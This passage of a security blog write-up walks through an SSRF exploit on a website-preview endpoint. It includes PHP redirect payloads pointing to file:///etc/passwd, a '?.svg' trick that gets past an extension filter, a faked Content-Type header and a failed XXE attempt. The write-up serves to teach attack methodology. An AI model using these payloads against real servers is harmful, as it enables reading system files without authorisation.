loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"290\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-12.png\" alt=\"\" class=\"wp-image-45\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-12.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-12-300x136.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The server &#8221;&nbsp;<strong>api.buggywebsite.com<\/strong>&#8221; has an endpoint called &#8221;&nbsp;<strong>website-preview<\/strong>&#8221; which takes an address URL from a parameter called &#8221;&nbsp;<strong>url<\/strong>&#8220;. The server read the metadata and try to get the data it needs that&nbsp;exists in the URL&nbsp;<strong>(https:\/\/www.reddit.com\/r\/MMA)<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Here below the response:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"398\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-13.png\" alt=\"\" class=\"wp-image-46\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-13.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-13-300x187.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">What&#8217;s interesting in the response, is the Base64 encoded image. The server has no problem getting the image. Question: What will happen if we try to put a domain&nbsp; which we control in the &#8221;&nbsp;<strong>url<\/strong>&#8221; parameter ? Hein, I feel like you think about something malicious don&#8217;t you ? Hold on there &#8230;&nbsp;\ud83d\ude0b<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">$ The Malicious Server:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I created an&nbsp;<strong>&#8220;Index.html&#8221;<\/strong>&nbsp;in&nbsp; my webserver:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"641\" height=\"297\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-14.png\" alt=\"\" class=\"wp-image-47\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-14.png 641w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-14-300x139.png 300w\" sizes=\"auto, (max-width: 641px) 100vw, 641px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">In the image, the &#8221;&nbsp;<strong>og:image<\/strong>&#8221; points to my server. The &#8221;&nbsp;<strong>api.buggywebsite.com<\/strong>&#8221; will respond with &#8221;&nbsp;<strong>Base64<\/strong>&#8221; encoded image residing in my server. Nothing special here &#8230;&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Wait, Maybe you&#8217;re now thinking about putting an SVG file in place of &#8221;&nbsp;<strong>img.jpg<\/strong>&#8221; ? Since we can manipulate XML under an SVG, there&#8217;s a high chance of an XXE vulnerability in there, right ? and by that, I mean we can read &#8221;&nbsp;<strong>\/etc\/passwd<\/strong>&#8220;.&nbsp;If this is what you thought about, you&#8217;re right !!!&nbsp;I have thought it about too&#8230;&nbsp;<strong>&nbsp;\ud83d\ude07<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s try your idea then, I created an &#8221;&nbsp;<strong>img.svg<\/strong>&#8221; file containing the famous XXE payload:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"68\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-15.png\" alt=\"\" class=\"wp-image-48\" style=\"width:857px;height:91px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-15.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-15-300x32.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">I went back to my &#8221;&nbsp;<strong>Index.html<\/strong>&#8221; and I changed &#8221;&nbsp;<strong>img.jpg<\/strong>&#8221; to &#8221;&nbsp;<strong>img.svg<\/strong>&#8220;:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"613\" height=\"281\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-16.png\" alt=\"\" class=\"wp-image-49\" style=\"width:859px;height:394px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-16.png 613w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-16-300x138.png 300w\" sizes=\"auto, (max-width: 613px) 100vw, 613px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">So, let&#8217;s send the request to the vulnerable server:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is the request:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"246\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-17.png\" alt=\"\" class=\"wp-image-50\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-17.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-17-300x115.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Below is the response:&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"263\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-18.png\" alt=\"\" class=\"wp-image-51\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-18.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-18-300x123.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">What ?? The server doesn&#8217;t process the SVG file at all, it just shows its content &#8230; \ud83d\ude15<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I tried so many different payloads, unfortunately it does not work.&nbsp;&nbsp;Well, how to put it, the XXE idea, just drop it, it will lead us nowhere. I had to think of something new, I felt that I&#8217;m missing something, google didn&#8217;t helped me out a lot, I was going from a website to another searching here and there for an article, a hint. Unfortunately, couldn&#8217;t figure out what was the next step. I took a break, and later, a question &#8230;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"773\" height=\"580\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-19.png\" alt=\"\" class=\"wp-image-52\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-19.png 773w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-19-300x225.png 300w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-19-768x576.png 768w\" sizes=\"auto, (max-width: 773px) 100vw, 773px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">I once heard someone say: &#8221;&nbsp;<em>There&#8217;s nothing dangerous than a good question<\/em>&#8220;.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">What if I put &#8221;&nbsp;<strong>PHP<\/strong>&#8221; file in instead of&nbsp; &#8221;&nbsp;<strong>SVG<\/strong>&#8221; file ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Eureka !!<\/em>&nbsp;<em>&nbsp;A whole new world of possibilities had emerged in front of my eye<\/em>&nbsp;s:&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Since the SVG file doesn&#8217;t seem to be processed, what if we put in the PHP file a redirection using &#8221;&nbsp;<strong>header(&#8216;Location: file:\/\/\/etc\/passwd&#8217;)<\/strong>&#8220;, and by that, we force the server to go wherever we want ?&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let me show you my idea through a diagram:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"637\" height=\"248\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-20.png\" alt=\"\" class=\"wp-image-53\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-20.png 637w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-20-300x117.png 300w\" sizes=\"auto, (max-width: 637px) 100vw, 637px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">So, the idea here was to redirect the vulnerable server to read its internal files by itself.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">I&#8217;m not quite sure about putting the &#8221;&nbsp;<strong>PHP<\/strong>&#8221; file in &#8221;&nbsp;<strong>og:image<\/strong>&#8221; meta tag since I never saw that before &#8230; Nevertheless, in the hacking world, we have to try everything, and we have nothing to lose. So, let&#8217;s try that out too.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The PHP file will be as follows:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;?php\n\theader(\"Location: file:\/\/\/etc\/passwd\");\n?><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">&lt;?<\/span><span style=\"color: #AE81FF\">php<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\t<\/span><span style=\"color: #66D9EF\">header<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #E6DB74\">&quot;Location: file:\/\/\/etc\/passwd&quot;<\/span><span style=\"color: #F8F8F2\">);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">?&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">We will ensure that the PHP file will be only responsible to redirect the server to go to &#8221;&nbsp;<strong>file:\/\/\/etc\/passwd<\/strong>&#8220;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Below is the &#8221;&nbsp;<strong>Index.html<\/strong>&#8220;:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" width=\"621\" height=\"294\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-21.png\" alt=\"\" class=\"wp-image-54\" style=\"width:840px;height:398px\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-21.png 621w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-21-300x142.png 300w\" sizes=\"auto, (max-width: 621px) 100vw, 621px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We will create an HTML file, from where the server will get what it needs. As you can see, in the &#8221;&nbsp;<strong>og:image<\/strong>&#8221; the content will be changed to &#8221;&nbsp;<strong>http:\/\/myserver.com\/calc\/index.php<\/strong>&#8220;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We call again the &#8221;&nbsp;<strong>website-preview<\/strong>&#8221; endpoint, and surprise !!! \ud83d\ude06<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"311\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-22.png\" alt=\"\" class=\"wp-image-55\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-22.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-22-300x146.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The server is checking whether the request contains a valid image URL or not. In our case,&nbsp;the check failed because&nbsp;we gave him a &#8221;&nbsp;<strong>PHP<\/strong>&#8221; file. The server has a mechanism to test the file extensions given in the URL, and we know very well that there are multiple ways how to bypass extension file filtering. As example, we&nbsp; can add next to the file a &#8220;?&#8221;,&#8221;#&#8221;or &#8220;.&#8221; &#8230;&nbsp; I will try first the &#8220;?&#8221;&nbsp;symbol<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The final URL i&nbsp;n the&nbsp;&#8221;&nbsp;<strong>index.html<\/strong>&nbsp;&#8221; page will be like:&nbsp;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>&lt;meta\n  property=\"og:image\"\n  content=\"http:\/\/www.myserver.com\/calc\/index.php?.svg\"\n\/><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F8F8F2\">&lt;<\/span><span style=\"color: #F92672\">meta<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #A6E22E\">property<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;og:image&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #A6E22E\">content<\/span><span style=\"color: #F8F8F2\">=<\/span><span style=\"color: #E6DB74\">&quot;http:\/\/www.myserver.com\/calc\/index.php?.svg&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">\/&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\"><br>We will send again the request, and now, the server responds with another error:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"332\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-23.png\" alt=\"\" class=\"wp-image-56\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-23.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-23-300x156.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">A&nbsp;<strong>HEAD<\/strong>&nbsp;Test ???&nbsp; &nbsp;Is it a&nbsp;<strong>HEAD<\/strong>&nbsp;Http request ? Maybe is testing for the content-type ? Hmm, interesting &#8230; let&#8217;s find out the request and what did contain as a &#8221;&nbsp;<strong>Content-type<\/strong>&#8220;. I will try to call the &#8221;&nbsp;<strong>index.php<\/strong>&#8221; file and see how the response will look like ? and what does contain in its &#8221;&nbsp;<strong>Content-type<\/strong>&#8221; ?<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"445\" height=\"302\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-24.png\" alt=\"\" class=\"wp-image-57\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-24.png 445w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-24-300x204.png 300w\" sizes=\"auto, (max-width: 445px) 100vw, 445px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Okay, it&#8217;s a &#8221;&nbsp;<strong>Text\/Html<\/strong>&#8220;, that&#8217;s the reason behind the&nbsp;&nbsp;<strong>&#8220;Image Failed HEAD Test&#8221;.&nbsp;<\/strong>The server has now two check mechanisms: &#8221;&nbsp;<strong>Extension type<\/strong>&#8221; &amp; &#8221;&nbsp;<strong>content-type entity header<\/strong>&#8220;. Now, we have all our answers &#8230; don&#8217;t we ?<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Going back to the PHP file, we have to specify the content-type that corresponds to the file specified in the &#8221;&nbsp;<strong>og:image<\/strong>&#8221; URL, which in our case is a SVG:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>\n&lt;?php\n    $headers = array(\n   'Location' = 'file:\/\/\/etc\/passwd',\n   'Content-Type' = 'image\/svg',\n    );\n    \n    foreach ($headers as $headerType = $headerValue)\n    {\n        header($headerType . ': ' . $headerValue);\n    }\n?><\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">&lt;?<\/span><span style=\"color: #AE81FF\">php<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    $headers <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">array<\/span><span style=\"color: #F8F8F2\">(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Location&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;file:\/\/\/etc\/passwd&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Content-Type&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/svg&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    );<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">foreach<\/span><span style=\"color: #F8F8F2\"> ($headers <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> $headerType <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> $headerValue)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF\">header<\/span><span style=\"color: #F8F8F2\">($headerType <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;: &#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> $headerValue);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">?&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">The PHP code&#8217;s not mine, I found it in&nbsp;<a href=\"https:\/\/stackoverflow.com\/questions\/2427878\/how-to-declare-more-than-one-header-on-php\">Stackoverflow<\/a>&nbsp;forum. I tested the code in my server and it seems to work fine.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This is our last resort \u261d, we are tired of this, multiple security layers, multiple obstacles, but you know, the hacker perseverance&nbsp;never lose against the evil &#8221;&nbsp;<strong>laziness<\/strong>&#8220;. \ud83d\ude08<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sending our request, we got the response, and &#8230; BOOM !!<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"489\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-25.png\" alt=\"\" class=\"wp-image-58\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-25.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-25-300x229.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Holy *$!?#* !! This time we hit where we should !! The &#8221;&nbsp;<strong>\/etc\/passwd<\/strong>&#8221; is ours, see the dump in burp. Mission Complete !! And this is where our journey ends.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To summarize&nbsp;the steps:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>1-<\/strong>&nbsp;We send a request to the vulnerable server containing our URL.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>2-<\/strong>&nbsp;The vulnerable server will get the malicious URL and try to get its metadata.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>3-<\/strong>&nbsp;The vulnerable server will process the content of the URL, which contain a redirection.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>4-<\/strong>&nbsp;The vulnerable server will be redirected to read its internal files. The redirection grab the &#8221;&nbsp;<strong>file:\/\/\/etc\/passwd<\/strong>&#8221; specified in the redirection and send it back to the attacker.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"637\" height=\"248\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-26.png\" alt=\"\" class=\"wp-image-59\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-26.png 637w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-26-300x117.png 300w\" sizes=\"auto, (max-width: 637px) 100vw, 637px\" \/><\/figure>\n<\/div>\n\n\n<h2 class=\"wp-block-heading\">$ Conclusion:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">I must admit, the challenge was not that easy ! The key was persistence and trying different combinations. Sometimes, asking the good questions is the&nbsp;<strong>50<\/strong>&nbsp;% of the answers. Whatever the obstacles, don&#8217;t just try to think out of the box, but in new boxes.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Sometimes&nbsp;you can&#8217;t get answers or responses, the power of it, is that it gives you the opportunity to look inside yourself and bring out your full potential.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"320\" height=\"251\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-27.png\" alt=\"\" class=\"wp-image-60\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-27.png 320w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-27-300x235.png 300w\" sizes=\"auto, (max-width: 320px) 100vw, 320px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><br>This write-up is something that may help others, It will be as a reference for people who are interested in the same subject, or curious to know about hacking methodology. This will be considered as a backup too, kind of a guide for my 